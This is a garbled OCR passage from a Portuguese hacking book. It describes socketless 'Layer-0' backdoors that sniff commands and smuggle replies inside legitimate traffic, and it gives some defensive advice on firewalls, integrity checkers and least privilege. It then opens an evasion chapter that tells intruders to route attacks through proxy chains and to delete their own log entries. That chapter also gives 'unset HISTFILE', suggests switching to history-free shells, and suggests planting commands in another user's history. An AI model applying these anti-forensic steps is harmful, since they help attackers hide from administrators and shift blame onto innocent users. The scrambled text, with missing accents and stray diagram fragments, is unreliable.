SSH e a porta 22 daquele servidor. Com backdoors a mesma coisa: se eu
improvisei um servidor com Netcat "escutando" na porta 9999, preciso me
conectar a essa porta (e manter a conexo) para interagir com ele.
Isso quer dizer que mesmo em sistemas comprometidos por rootkits poss-
vel descobrir falcatruas desse tipo. Basta rodar um sniffer como o Ethereal em
outro computador da rede (a estao de trabalho do administrador, por exem-
plo) e todas as conexes esprias podem ser detectadas, certo?
Detesto dizer isso, mas novamente a resposta no. H pelo menos uma manei-
ras conhecida3 de esconder o trfego e no precisar de conexo para trocar paco-
tes, que combina sniffing e spoofing com a manipulao da pilha TCP/IP.
Ouvidos moucos
Firewalls e antivirus so as estrelas do momento no tocante segurana de redes
e computadores. Coloca-semuita f em ambos os dispositivos e, num comportamen-
to normal em sereshumanos, relaxa-senos demais aspectos de segurana. No estamos
dizendo que sejam despesas inteis, pelo contrrio: ftrewalls e antiv1fUsmantm
longe de seus sistemas um nmero asustador (muitos milhes) de script-kiddies.Mas
entre centenas de milhares de kiddies h de haver um hacker de verdade.
Na verdade, nenhum ftrewall - seja ele por software ou personificado em um
hardware dedicado - chega sequer prximo de deixar qualquer mquina segura,
caso um hacker desses apresente-se para o confronto com sua rede ou seus
servidores. Pense um pouco: seu ftrewall tem de, obrigatoriamente, deixar passar
os protocolos e servios que os usurios usam. Se os seus usurios so autoriza-
dos a usar programas de Instant Messenger (ICQ, por exemplo), as portas do
ICQ devem estar liberadas para trfego sainte e entrante. Se os seus usurios
usam a World Wide Web, trfego HTTP sainte pela porta 80 e entrante por por-
tas altas deve, tambm, ser liberado.
S no cenrio acima, vemos que as portas 25 e 80 sempre estaro l, abertas para
quem quiser usar. Inclusive para o hacker que, usando todos os truques que vimos
em Vulnerabilidades e nestes captulos finais,pode pesquisar toda a sua rede inter-
na e explorar vulnerabilidades conhecidas usando apenas a porta 80. Como se diz
comumente em crculos crackers, "a porta 80 sempre estar l"... E o que o carssi-
mo ftrewall pode fazer a respeito, eu pergunto? Talvez registrar todos os pacotes
que passarem por ele, para futura anlise - se muito.
3. Lembre-se: h mais tcnicas em poder de cls hacker e mantidas em segredo do que as maneiras
divulgadas de se fazer a coisa. Espere e fique atento para novidades na rea em breve!
3261
Ataque, defesae contra-ataque: Manuteno[
Universidade 3 ano
Farejando problemas (comunicao sem sockets)
Como vimos no captulo anterior, podemos farejar a rede toda e recolher
trfego mesmo que no seja endereado a ns. A utilizao mais bvia dessas
tcnicas , realmente, "escutar" a rede para descobrir dados, usurios, senhas e,
possivelmente, capturar conexes. Mas h ainda um novo truque que podemos
fazer com sniffers.
Conexes estabelecidas por meio de sockets so mostradas com uma sim-
ples consulta ao netstat. ~
y-.;:;/
Mesmo que seu sistema
D
I I
Barramento
da Rede
este
J
'a absurdamente P~rtas
naousadas Ir+::=
trojanizado e cheio de
- -- - -- -- - -- - -, 11-
rootkits, as conexes: :
TCP b 1
.
d
(
:BackdoorcomSniffer
esta e eCl as e ,
,
mesmo trocas de paco-
tes UDp, que no usam
conexes, mas, sim,
usam sockets) podem
ser monitoradas por ou-
tras mquinas. Mas e se
no houver conexo?
Um trojan ou backdoor e o software cliente rodando no computador do inva-
sor podem comunicar-se com ou por meio de trfego esprio. O hacker envia
pacotes TCP ou UDP a computadores no existentes na rede, mas dentro da
faixa de IPs aprovada pelo ftrewall. Como no endereada a ningum, a mensa-
gem morre dentro da rede e no se fala mais no assunto. S que o computador
com o backdoor socketless, farejando tudo indiscriminadamente, capturou o
pacote sem destino e o processou. Simples como roubar doce de criana.
Servidorde e-mail
ServidordeWEB
t
BROAOCAST ou
pacotedestinadoa
IPINEXIXTENTE com
iI I
fragmantodecomando
paraoBACKDOOR
~
:-
Host comTraian"Promieuo"
,- -- -- ---,
, '
, ,
, ,
, I
'BACKDDDRI
, I
, I
'- - - - - - - - -'
u ,
Gateway
Host comTrajan"Pramicuo"
Para o caminho inverso, o backdoor utiliza-se de programas j existentes no
computador e que j fazem, pela prpria natureza, conexes por sockets. Um
browser o melhor exemplo. O Z Usurio abre seu Internet Explorer e digita
www.pornoshow.com.ru. O backdoor detecta a conexo e injeta, no meio do
trem de dados, um ou dois bytes por pacote em reas nas quais no vo causar
problemas (o enchimento, por exemplo, ou o fragment offset quando este no
13271
IAtaque, defesa e contra-ataque: Manuteno
IUniversidade H4CK3R I
usado). Dependendodo protocolo usado como burro de carga, possvel
inclusive, colocar mais dados no prprio payload IP.O endereo IP de destino
no alterado, e o invasor precisa estar posicionado no caminho da conexo
para farejar os pacotes e extrair deles os dados da comunicao.
Atualizando a camuflagem
Um sniffer em modo promscuo, entretanto, ruidoso numa rede e pode ser
facilmente detectvel com ferramentas especiais. Masnada impede que um sniffer
seja executado em modo exclusivo, farejando apenas o trfego que entra e sai.
Nesse caso, o hacker no envia para a rede pacotes com IPs inexistentes, mas sim
direcionados exatamente para a mquina onde est o backdoor. Mas com um
detalhe: direcionados a portas que no estejam em uso.
Em um computador normal, a pilha TCP/lP simplesmente ignoraria os dados
que chegam a portas
inexistentes ou desa-
tivadas. Mas em nosso
caso, o backdoor est
escutando tudo o que
chega em todas elas. So
virtualmente 65 mil
portas TCP e outras 65
mil UDP que o
backdoor ou trojan
pode usar para escutar
o que chega, mesmo
que a conexo no seja
estabelecida.
Portas ~
Barramento
da Rede
Portas [
,m - -- - _n:~ U_S:das L
: BACKDOOR}
, '
'- - - -- -- - - - - -'
+--
I
r
Pacote destinado nicamente
ao Host Trojanizado, com
fragmento de comando para o
BACKDOORe escolhendo
aleatoriamente uma Porta
8
HostcomTroJan"N'o.Promicuo"
As conexes nao
sao estabelecidas!
(sem SYNIACK)
Muitos diriam que isso impossvel, que existe a obrigatoriedade de estabele-
cer um socket para recolher dados de uma porta. Ledo engando. Os sniffers
comuns (mesmo os mais simples) esto a para provar que se pode escutar
trfego mesmo que no seja direcionado ao seu MAC!!!Se no h necessidade
de conexo no protocolo Ethemet, possvel recolher qualquer dado de qual-
quer porta sem que seja necessrio conectar sockets a elas. Essa tcnica cha-
mada de Layer-O Listening.
Como veremos mais adiante, possvel colocar uma camada adicional entre
quaisquer duas camadas da pilha OSI (ou TCP/IP,na prtica) e manipular dados l.
Essa camada pode, inclusive, ficar nas camadas de mais baixo nvel, ou mesmo
entre a pilha e a interface de rede tlsica (da o nome Layer-O,uma vez que a camada
tlsica a l).As ferramentas que normalmente usamos para detectar, monitorar e
barrar conexes e V1rtlS- netstat, nbtstat, firewallse antiv1rtlslocaisetc, etc, etc. -
esto posicionados antes da pilha TCP/lP (ou seja, a pilha fica sempre entre a
3281
Ataque, defesa e contra-ataque: Manuteno r
Universidade 3 ano
ferramenta e a rede). Qualquer manipulao ou insero que faamos no fluxo de
dados poder ser retirada antes de chegar s ferramentas em questo.
Portanto, para que o backdoor que use tcnicas de Layer-Opossa escutar a
rede, pelo menos um dos trs requisitos abaixo deve ser preenchido:
~ Os pacotes so endereados ao MACda interfacede rede do computador invadido
~ A mensagem um broadcast,
~ A conexo ponto-a-ponto, como por exemplo em conexes discadas via
modem, ISDN/RDSI ou xDSL com pppoe.
A partir desses pr-requisitos, possvel interagir com o backdoor/trojan
usando os seguintes expedientes:
~ Broadcasts em seqncia;
~ Pacotes ICMP em seqncia (ping, Destination Unreachable e Traceroute);
~ Pacotes enviados a qualquer porta do equipamento - aberta ou no;
~ Pacotes rejeitados pela pilha TCP/IP por serem malformados ou
encapsulados de forma equivocada (note que eles tm de ser perfeitos nas
camadas 2 e 3 para serem roteveis, o que nos deixa apenas a camada 4...). Os
pacotes so rejeitados pela pilha TCP/lP mas no pelo trojan.
Essas coisas so possveis de fazer em praticamente 100%dos casos, nas redes
modernas baseadas em Ethernet (ou PPP/SUP) e TCP/lP. Estima-se que pelo me-
nos um aplicativo bem conhecido se utilize dessas tcnicas: o to falado Magic
Lantern/Carnivore, do governo dos Estados Unidos, usado para monitorar o tr-
fego na Internet procura de terroristas, pedftlos e hackers de planto.
Layer-o: como funciona
Todas as informaes aqui reproduzidas foram obtidas nos foruns abertos do
trojanforge.netAmaioriadelasfoipostada por M3du54,um membro do grupo trojanner
britnico DaVinci.Esse grupo foi o responsvel, em 1999, pelo desenvolvimento do
trojan LSPThe Mini Baug e diversos outros baseados em VxDs,portanto toda a teoria
aqui descritaj foi colocada em prtica pelo menos em provas de conceito.
Voltemos aos kernel rootkits. Com eles, podemos adicionar drivers, funciona-
lidade e problemas em modo kernel aos sistemas operacionais. Podemos, inclu-
sive, brincar com a pilha TCP/lP e adicionar camadas de baixo nvel entre elas.
Portanto, simples LKMs nos Unix e patches no Windows podem adicionar ao
sistema funcionalidades Layer-O.
Tomando o Windows 9x como exemplo, possvel criar um VxD (releia o
captulo sobre plataformas Windows) que implemente essa camada. Um ftrewall
local (como o ZoneAlarm, o BlackIce ou o Tiny Firewall, por exemplo) trabalha
no lado "de dentro" da mquina, depois que os dados j passaram por toda a
pilha de rede. Se houver algum pacote ou comunicao maliciosa ocorrendo, o
ftrewall nunca saber. A camada extra adicionada extrair os dados pertinen-
tes conexo do hacker e os passar - por comunicao interprocessos e
pulando toda a estrutura TCP/lP - para o backdoor ou trojan.
13291
]Ataque, defesa e contra-ataque: Manuteno
I Universidade H4CK3R I
Uma simples DLLque ex-
porte uma SPI (Service
Provi der Interface) tanto
para as camadas superiores
(TCP ou mesmo de aplica-
o) quanto para as de mais
baixo nvel (a camada
Ethernet ou PPp,por exem-
pIo) pode intermediar a co-
municao e "pular" o stack
TCP/IP. Essa DLL poderia
usar parasiticamente portas
de comunicao - ou seja,
aproveit-Iasestando elas em uso ou no, e no conectar sockets caso no estejam
- e tambm gerar portas-fantasmas que no so mostradas em ferramentas como
o Netstat ou o Ethereal. Ou, pelo contrrio: essas portas-fantasmas poderiam estar
mostrando trfego falso, mas "benigno", confundindo o administrador de que est
tudo bem. Ou mais malvado ainda: apresentar para os aplicativos trfego de rede
como sendo local (inter-processos) e desviar trfego local originado por aplicativos
para a rede e no para os processos a que se destinam. No caminho contrrio, a
DLLpoderia injetar a comunicao de resposta ao hacker no fluxo de dados de um
aplicativo existente, reconhecido e autorizado - seu browser padro, por exem-
plo, ou aquele programinha de mensagens instantneas.
Mas h uma maneira mais
ultrajante ainda - e mais
eficiente. At agora no
havamos chegado a uma
implementao Layer-Over-
,muuuum, dadeira. Mas transcenden-
.L~~~~~~~~-jdo o TCPIIP,pode-se "plan-
tar" a DLLem uma camada
o mais baixo possvel na
pilha de rede - abaixo at
(ou imediatamente antes,
dependendo do caso) do
Ethernet, do PPP/SLIP ou mesmo de coisas mais especficas como Frame Relay
ou X.25. Uma conexo dessas nunca ser mostrada em qualquer sniffer ou
pelo netstat, nunca ser detectada pelo firewall local baseado em software
(ZoneAlarm, BlackIce etc...) e provavelmente passar pelo firewall/gateway
externo pois usar conexes vlidas como "laranjas". Qualquer auditoria no
registro de pacotes (voc costuma ler regularmente os logs do seu firewall,
no mesmo?) mostrar apenas pacotes originados pelos aplicativos comuns
- seu browser, cliente de e-mail, MSNMessenger...
~
330I
Ataque, defesa e contra-ataque: Manuteno [
Rede ,
Extra
u - - u - -- - -- - - -- - -- -,
---:c -. -~AC~DDD_R --
Retira comandos e
devolve pacote TCP"Limpo"
IP
Ethernet

Rede

Universidade 3 ano
Para a pilha TCPIIP, o backdoor/
trojan est do lado de fora do com-
putador invadido, portanto a pilha no
o consegue ver e, portanto, os software
firewalls no conseguem detectar. Por
outro lado, ainda um programa ro-
dando no computador, possivelmente
em kemel mode e, com acesso (por co-
municao interprocessos) a qualquer
outro programa da mquina. Isso faz
com que literalmente todas as portas do seu sistema estejam ao servio do backdoor/
trojan, e qualquer registro do firewall vai mostrar conexes legtimas de rede. Mais
ainda - possvel interceptar qualquer chamada a qualquer API (do kemel ou de
programas) e acessos a disco e illtr-Ios, remape-Ios ou retomar uma mentira.
possvel inclusive enganar IDSscom a tcnica. Nojento e eficaz!
Pesquise sobre o modelo de referncia OSI, no MSDN(msdn.microsoft.com)
e no TechNet (www.microsoft.com/technet) para saber mais sobre VxDs e
sobre a estrutura LSP/NPI/TPI/SPI da pilha de rede Microsoft. Obviamente,
para entender o que est nesses recursos so necessrios conhecimentos mo-
derados de programao de baixo nvel - nada de Delphi ou Visual Basic - na
plataforma Windows, especialmente se tiver acesso a uma assinatura do DLL
Developer Kit (DDK) ou do Software Development Kit (SDK). Para qualquer
outra plataforma (Unix, VAX/VMS,Novell, AS/400, Macintosh, IBM S/390...), o
raciocnio e as tcnicas so exatamente as mesmas.
Inrface/ Aplicativo
TCP
IP
Ethernet
Extra
Driver da Placa
,
; BACKDOOR:
~, ,
~--------------
Defesa e Contra-ataque
Defender-se das ameaas mostradas neste captulo no muito fcil. H trojans
que, mesmo sendo facilmente detectveis, so extremamente difceis ou mesmo
impossveis de serem removidos. Na experincia dos autores, houve pelo menos
duas situaes (um Wmdows 98 SEe um Wmdows 2000) em que nem a recupera-
o da imagem original de instalao, distribuda nos CDs que vieram junto com o
computador, removeu o trojan. Houve a necessidade de refazer as parties (apa-
gamento e criao) e formatar o disco rgido, alm de usar uma ferramenta de
apagamento total para remover quaisquer traos do software malicioso.
Em alguns casos, possvel monitorar as conexes e, uma vez detectada a
presena do invasor, rastre-Ias at se chegar ao culpado. No hesite em contar
com a polcia e com um bom time de advogados caso alguma ao do hacker
malicioso possa ser enquadrada como crime.
Backdoors, Vrus e CavaLosde Tria
Apesar de serem todos softwares com aplicaes diferentes, a profilaxia e o
remdio para eles , basicamente, a mesma, uma vez que as formas de contgio
e os mtodos para deteco e eliminao so parecidos.
1331 I
IAtaque, defesa e contra-ataque: Manute~
IUniversidade H4CK3RI
Antes de mais nada (ou, como diria um companheiro de software livre, em
"zerzimo" lugar), eduque-se e eduque seus funcionrios ou familiares quanto
a prticas seguras de utilizao de recursos de informtica e navegao na
Internet. Isso inclui os famosos bordes que as mames nos disseram a vida
toda (e dizem at morrer): no aceite balinha de estranhos e no aceite bali-
nhas estranhas de pessoas conhecidas. Cuidado com as drogas (Le. Coisas que
voc sabe que so perigosas) e muito cuidado quando andar em locais ermos,
pouco iluminados ou suspeitos. So conselhos sbios tambm para a Internet e
para as redes corporativas. , mame tinha razo...
bvio que o usurio comum no tem como saber se algum programa
nocivo ou foi adulterado, ou se aquele site contm cdigo malicioso, ou se o
documento interno da empresa (e, portanto, oficial e autorizado) em formato
.DOC contm algum vrus de macro... Mas um pouco de cuidado e alguma
parania pode livrar macaco velho de vrias cumbucas.
Quanto aos cuidados puramente tecnolgicos que podem ser implementados,
em primeiro lugar tenha sempre antivrus e firewalls locais (baseados em
software) atualizados. Sim, eu seu, l atrs eu disse que, caso o atacante (ou o
vrus) fosse realmente bom, essas ferramentas no iriam servir para nada. En-
tretanto, seremos "visitados" muito mais por moleques tentando brincar de
"r4qu3r" do que por bandidos digitais com algum profissionalismo.
Portanto, firewalls locais como o Zone Alarm, BlackIce ou o Tiny Firewall ajudam
muito a manter a legio de kiddies longe de seus computadores. Ao mesmo tempo,
um bom firewall de rack (como o Cisco PIX) ou implementado com um Unix
(velhos 386 com Linux ou OpenBSD do excelentes firewalls), com regras de
filtragem e, de preferncia, com conexes via proxy, tambm ajuda a barrar os
lammers. Sugerimos implementar, seja em casa ou em uma rede corporativa, am-
bos os tipos de firewall: local (por software) e no ponto de conexo (por hardware).
Da mesma forma o, antivrus devem ser usados para barrar os vrus conheci-
dos. Mesmo que os antivrus no detenham uma pequena parte dos virus co-
nhecidos e praticamente todos os desconhecidos, seu uso obrigatrio. No
porque est gripado e no h remdio para isso que voc ir deixar de tomar
um analgsico para a dor de cabea.
Um outro ponto importante a ser observado : conhea o software que est
instalado em seu computador. comum, em casa, que baixemos e instalemos
qualquer bobagem bacana que encontremos na Internet ou que venha em re-
vistas com CDs. Tal prtica deve ser evitada em computadores domsticos e
terminantemente proibida em computadores corporativos. Conhecendo os
softwares instalados no computador, ficar fcil (em alguns casos - noutros
no...) de notar alguma coisa estranha rodando na mquina.
Um terceiro item obrigatrio de segurana a adoo de polticas de usu-
rios e administrao. As estaes de trabalho em empresas devem empregar
softwares e sistemas operacionais que permitam um controle total por parte
13321
Ataque, defesa e contra-ataque: Manuteno [
Universidade 30 ano
dos administradores, e que restrinjam ao mximo o que o usurio comum pode
fazer. Isso inclui bloquear a instalao de programas e acesso a reas no auto-
rizadas do computador (como o diretrio C\WINDOWS ou o Ibin em mqui-
nas Unix). H empresas que usam Macintoshes com Mac OS X, ou Windows
NT/2k/XP, ou mesmo algum Unix para PCs como o FreeBSD ou o Linux. A
escolha corretssima, pois esses sistemas permitem montar polticas de direi-
tos sobre o computador e impedir que os usurios (ou algum vrus ou cavalo
de tria) instalem software no autorizado na mquina. Mas de nada adianta
colocar um Windows XPProfessional como estao de trabalho e no configur-
10para segurana, deixando-o com as opes padro. Deve-se fazer a sintonia
fma e retirar do usurio comum todas as permisses de acesso que possivel-
mente sejam danosas para a estao e para a rede.
Mesmo em casa, os usurios domsticos do Windows NT/2k/XP e Mac OS
devem criar contas de usurio sem muitas permisses e efetivamente usar
essas contas no dia-a-dia!!! Deixe a conta do administrador apenas para ad-
ministrao e instalao de programas. O mesmo vale para os j no to pou-
cos usurios domsticos de Linux. O Linux (e qualquer Unix) j vem "de fbri-
ca" com esse esquema de usurios e permisses. Mas (sempre tem um mas) os
usurios sempre "do um jeito" de subverter esse esquema e comprometer a
segurana. Coisas como subverter o uso do o sudo ou operar com o usurio
root (o maior sacrilgio de todos) so muito comuns.
Se voc foi infectado, no use qualquer ferramentas de desinfeco que no
seja de produtores idneos. Baixar uma ferramenta de um local suspeito que
promete retirar o Sub7 do seu computador loucura. Ele pode tanto fazer o
que promete, como remover o Sub7 e instalar outro backdoor, ou ainda
"patchear" o Sub7 para que seu antivrus no o detecte - mas ele continua l.
Quanto aos rootldts, uma grande maneira de evit-los nunca deixar um
usurio com poderes suficientes para chegar s partes crticas do sistema. Um
rootkit precisa ser instalado. Mesmo que a instalao seja automtica, ele sem-
pre rodar no contexto do usurio. Deixar os usurios com nveis mnimos de
acesso pode dificultar a instalao e ao dos rootkits. Alm disso, a conta
Administrador ou root deve ser observada e guardada a sete chaves. Senhas
difceis de quebrar ou mesmo de adivinhar so obrigatrias. Aplicativos que
no rodem como root/ Admin (nunca!) e portanto isolando a conta principal
de qualquer buffer overflow tambm so importantssimos.
Mesmo sistemas bem protegidos, atualizados e configurados possuem falhas. Por-
tanto, possvel que um dia algum hacker consiga acesso privilegiado a seu sistema.
Para detectar desvios de configurao e instalao de rootkits, instale IDSse progra-
mas de inventrio de integridade de arquivos - Tripwire (www.tripwire.com) e
AIDE(wwwcs.tut.fi/-rammer/aide.html) so os mais conhecidos. Verifique as assi-
naturas de todos os programas instalados e a integridade dos arquivos de configura-
o. Todos os desenvolvedores de software modernos possuem bancos de dados
com as assinaturas MD5 de seus executveis crticos.
13331
Ataque, defesa e contra-ataque: Manuteno
IUniversidade H4CK3R I
Quanto a rootkits baseados em kernel, em primeiro lugar,no deixe que cheguem
ao seu ncleo! Para comear, se o seu sistema pennitir (e se voc no usar nenhum
mdulo importante), desabilite a opo de carregar LKMs.Vaipoupar muitas dores
de cabea. Se for o caso e, se possvel, recompile seu kernel ou pea para seu forne-
cedor faz-Io.Um kernel imune a LKMscertamente estar imune a rootkits LKM.
No caso dos Windows (mesmo da famliaWinNT), que no possuem um esque-
ma formal de LKMs, a nica maneira de evitar kernel rootkits impedir que os
arquivos sensveis possam ser alterados por qualquer usurio, alm de cuidar
para manter a senha do Administrador em segurana. Um truque muito usado
deixar a conta chamada Administrador com uma senha difcil mas sem direito
algum sobre o sistema, e assim criar um despiste para invasores. Cria-se, ento,
outra conta, com outro nome e uma senha igualmente difcil, e este usurio ser
o administrador de fato. E desabilite o suporte a Lan Manager.
Note que possvel simular a implementao de LKMsno Wmdows por meio de
VxDs (releia o captulo sobre PlataformasWmdows) e, portanto, o acesso pasta
C\WINDOWSou C\WINNT deve ser bloqueado a todo custo para usurios comuns.
Uma maneira de verificar os discos rgidos procura de rootkits (sejam basea-
dos em kernel ou no) retir-Ios e intal-Ios em uma mquina s, sem direito de
execuo de programas. Os HDs sero considerados como drives de dados no
sistema de testes, e como no so o kernel e os programas infectados que esto
rodando, e simos da mquina confivel, todos os arquivos e alteraes dos rootkits
ficaro aparentes e passveis de verificao. Para verificar se um rootkit est
farejando a rede, rode, voc mesmo, um sniffer como o Ethereal. Verifique os
modos de operao da placa de rede. Se, mesmo com o sniffer, a interface no
aparecer em modo promscuo, um rootkit seguramente o est camuflando.
Em ltimo caso, no aproveite nada de um sistema comprometido. Faa
backup dos dados (e apenas dos dados, no da configurao!!!) e reformate
completamente o sistema, reinstalando-o do zero. No esquea de configur-Io
e atualiz-Io completamente antes de o colocar em produo, caso contrrio o
invasor pode entrar novamente pelo mesmo buraco de antes. Guarde uma c-
pia do HD comprometido para futura anlise e investigao do ataque. Se pos-
svel, guarde o HD original e coloque um novo no lugar. possvel que o inva-
sor tenha deslizado em apenas um detalhe nfimo, mas esse detalhe, se desco-
berto, pode levar sua localizao e, se a lei permitir, a sua priso.
Uma ltima dica: Echolot (echolot.sourceforge.net).
Comunicao sem conexes
Enveredamos em terreno pantanoso por aqui. Todas as recomendaes aci-
ma so importantes e obrigatrias, mas no freiam, de forma alguma, especia-
listas de verdade que queiram penetrar em seus sistemas.
No h nenhum programa comercial que desempenhe ou faciliteas fimes abaixo.
A maioria, entretanto, possvel de fazer apenas com as prprias configuraes de
sistema operadonal, sem ferramentas externas. Observe que so medidas extremas e
13341
Ataque, defesae contra-ataque: Manuteno[
Universidade 3 ano
que podem ser vistas como parania ou mesmo bobagem por administradores expe-
rientes. MasPOdemser levadasa cabo caso se precise de segurana mxima.
Em primeiro lugar, deve-se aplicar toda a cartilha e fazer a configurao de
segurana normal que todo sistema deve ter. Isso pr-requisito.
Depois, deve-se restringir o acesso pilha TCP/lP (em cada mquina da rede!).
Apenas programas autorizados podem ter acesso pilha, e mesmo os autoriza-
dos devem ser verificados quanto sua assinatura MD5. Qualquer desvio deve
ser bloqueado e informado ao administrador.
No caso de servidores, cada um dos programas deve ser executado com um
usurio diferente, e cada usurio desses deve ter acesso a um conjunto diferente de
diretrios, arquivos, bibliotecas, num ambiente que, em Unix, chama-se chrooted.
Mesmo o diretrio temporrio (jtmp ou C\WINDOWS\TEMP)deve ser dividido
por processo (jtmp/apache, /tmp/sendmail, /tmp/popd, /tmp/tripwire, etc.) e com
. permisses de escrita somente para o usurio correspondente. Dessa forma, mes-
mo que uma falha seja descoberta e explorada em um dos aplicativos, ele estar
confmado em seu ambiente prprio e no dar acesso a outras partes do sistema.
Depois, bloqueia-se o acesso a todas as bibliotecas e cria-se imagens separadas
delas para aplicativo - e restritas! Por exemplo, em uma mquina WinNT pode-se
bloquear completamente todas as DLLsdo sistema e depois criar imagens com
RUNASpara cada usurio (que, como vimos, representa um nico programa).
Por ltimo, uma idia montar todas as LANsinternas como VPNs criptografadas
por PGP (ou outro formato qualquer). Alm de bloquear trfego vindo de fora
(porque no bate com a criptografia e as chaves usadas), possvel conceber
polticas de acesso fortemente protegidas. Apenas usurios e mquinas com a
chave correta podem acessar determinados recursos - dificlimocontornar tal
esquema. Apenas os servidores externos (como seu servidorWeb) ficaro fora da
VPN e aceitaro conexes TCP/lP no criptografadas.
E, novamente, relembramos: a famlia Win9x no foi desenvolvida para ser
cliente de rede. A pilha TCP/lP e toda a funcionalidade 5MBfoi enxertada de-
pois. Portanto, nunca espere confiabilidade e segurana delas. Em uma rede
corporativa segura, nem as estaes podem ser Windows 95/98/Me. Evite-as.
Se for realmente preciso usar Windows como estao de trabalho ou servidor,
use sempre Windows 2000 ou superior.
Estamos quase l...
J vimos como observar, traar nosso plano, atacar e manter o ataque. Falta-
nos, agora, esconder nossos rastros. O proximo captulo tratar disso. Mas an-
tes de continuar, uma pergunta: voc est realmente fazendo as experincias
ou simplesmente lendo o livro como a um romance? Exortamo-Io firmemente a
fazer todas as experincias, desde os primeiros captulos. Caso no as tenha
feito, volte ao princpio e comece de novo.
':4.lio j sabemos de cor. S nos resta aprender...", Beto Guedes e Ronaldo Bastos.
1335 I
IAtaque, defesa e contra-ataque: Manuteno
Ataque, defesa e
contra-ataque:
Evaso
Em dia de vitria, ningum fica cansado"
Provrbio rabe
IUniversidade H4CK3R I
No importa se o objetivo do ataque seja causar rebulio ou obter secretamente
algum proveito: qualquer atacante que se preze no deseja ser rastreado e
muito menos apanhado. Alguns detalhes devem ser observados para que, de-
pois de uma invaso do tipo "obra de arte", a determinao do culpado seja
impossvel ou muito difcil.
No captulo anterior, quando falamos em rootkits, vimos que eles podem
esconder um sem-nmero de detalhes e, assim, mascarar a presena e a ao do
hacker no computador atacado. Entretanto, seguro, morreu de velho e, com ou
sem rootkits, altamente desejvel que o invasor tome providncias para apa-
gar todos os rastros e vestgios de sua passagem pelo sistema. Em vrias plata-
formas h ferramentas que o fazem automaticamente, mas entender os meca-
nismos de registro muito importante para conferir a eficcia dessas mesmas
ferramentas ou para fazer tudo "na mo", na falta delas.
Outro detalhe para o qual o invasor deve estar atento a camuflagem dos
canais de comuicao entre ele e a mquina invadida. Como vimos no captulo
anterior, h maneiras de tornar invisvel o fluxo de dados de um backdoor ou
cavalo de tria, simplesmente escondendo os bytes sendo transmitidos/recebi-
dos em conexes vlidas. Neste captulo, veremos mais algumas maneiras de
fazer essas conexes invisveis.
Antes de falarmos em evaso, lembre-se de que o disfarce anterior ao ataque
importante. Se voc pretende invadir algum, lembre-se de usar algum tipo
de spoofmg antes, como, por exemplo, cadeias de proxies pblicos ou mqui-
nas-Iaranja rodando redirecionadores Netcat. Usar seu prprio IP para mirar
em algum burrice.
o bsico: apagando os logs
Mesmo kiddies muito ruins sabem que devem apagar seus rastros nos regis-
tros do sistema. A primeira coisa que se tem de saber , ento, onde esto tais
registros. Uma vez com acesso a eles, deve-se ter sempre em mente que no se
pode apag-Ios todos, caso contrrio sero levantadas muitas suspeitas sobre
o sistema. Apague apenas o que houver sido causado pelas suas andanas em
terreno alheio. E cuidado: alguns sistemas possuem IDSs, outros verificadores
de integridade de arquivos, e alguns, ainda, possuem logs em locais no-padro,
deixando logs falsos no local padro para enganar invasores de meia-tigela.
Lembre-se: verifique linha por linha, um arquivo por vez, todos os arquivos de
logoProcure por cpias deles em locais no bvios do sistema e, se notar que
est em um honeypotl, fuja!
1. Como vimos em captulos anteriores, honeypots so sistemas intencionalmente deixados como "boi
de piranha" para que os wannabe hackers ataquem. Normalmente, so sistemas fracamente protegidos,
com falhas intencionais e sistemas silenciosos de deteco de intrusos. Muitos IDSs inclusive desviam
silenciosamente o intruso para os honeypots sem que eles percebam. Alm da marcao cerrada, quando a
presa aparentemente fcil, o invasor torna-se descuidado.
13381
Ataque, defesae contra-ataque: EvasoI
Universidade 3a ano
Registro de eventos Unix
Encaremos os fatos: mesmo tendo padres, protocolos e normas em comum, os
Unices so diferentes entre si. Cada sabor possui um tipo distinto de sistema de
arquivos, hierarquia de diretrios, codificao de caracteres, sintaxe do shell na-
tivo, conjunto de comandos padro... H inclusive comandos que, mesmo possu-
indo o mesmo nome em todas as variedades, fabricantes e verses Unix, possuem
sintaxe diferente - ps, route e, mesmo, o 1s so dois exemplos clssicos. O siste-
ma de registro de eventos no seria, portanto, imune a essas diferenas.
impossvel listar em um livro como este todos os tipos e particularidades
de logs nas diversas verses dos sabores. Utilizaremos, ento, o sistema Linux
como modelo para exemplificar uma sesso de "cirurgia" nos logs. Se algum
script kiddie estiver lendo este captulo, provavelmente pulou este pargrafo
e vai tomar a descrio abaixo como receita universal para apagamento de
seus rastros. Nossa inteno, entretanto, outra: mostrar o que voc precisa
procurar, no onde, e nem como...
A primeira coisa que deve ser verificada o histrico de comandos do usu-
rio. No exatamente um log; antes disso, uma lista de comandos j emitidos
que fica disposio do usurio para que no precisem ser digitados nova-
mente. Isso evita trabalho repetitivo para o operador - e, como efeito colateral,
d ao administrador uma forma de saber o que o usurio anda fazendo...
Nem todos os shells implementam um histrico de comandos, e cada um
guarda o histrico em um arquivo e local diferente. Apenas a ttulo de exemplo,
um sistema Linux normalmente usa a verso GNU do Boume Shell, o Bash. Esse
interpretador de comandos guarda o histrico de tudo o que foi digitado (in-
clusive sem sucesso) no arquivo /home/usurio/.bash_history. um arquivo
de texto puro, portanto, bastaria edit-Io para esconder seus rastros. Uma ma-
neira mais efetiva, entretanto, seria simplesmente desativar a varivel de siste-
ma HISTFILE,que indica onde os comandos devem ser armazenados. Para tan-
to, basta emitir unset HISTFILE.Pronto! A partir da, nada mais ser registrado
(nem o prprio unset!) Esse deveria ser o primeiro comando a ser feito, mas a
maioria dos "invasores" esquece... ou no sabe...
Em Unices que no usem Bash, uma outra maneira , simplesmente... trocar
de shell! possvel (e muito provvel) que o shell padro possua histrico, e os
demais no. Portanto, se voc conseguiu uma conta e o shell padro o Boume
Shell (prompt $) simplesmente mude-o para o C Shell digitando csh. Se o shell
padro justamente o C Shell (prompt %), mude para o Boume Shell, digitando
sh.A razo para usar sh e csh que qualquer um dos outros (bash, zsh, ksh) tm
rotinas de histrico de comandos completamente implementadas.
Para ajudar a desviar suspeitas, um atacante mais ousado poderia desviar os
comandos (ou copi-Ios) do seu prprio histrico para o de outro usurio.
Mesmo que o sistema esteja sob suspeita, durante um tempo razovel os santos
pagaro pelos pecadores.
13391
] Ataque, defesa e contra-ataque: Evaso
IUniversidade H4CK3RI
Depois de enganar o histrico do shell, temos de apagar os rastros nos logs
do sistema. Na maioria dos Unix, o daemon responsvel pelo registro dos logs
de sistema o syslogd. Em qualquer Unix invadido, portanto, interessante
pesquisar nos arquivos de configurao do daemon (que, no Linux, fica em
/etc/syslog.conf - mas isso varia em outros Unices) e verificar quais os no-
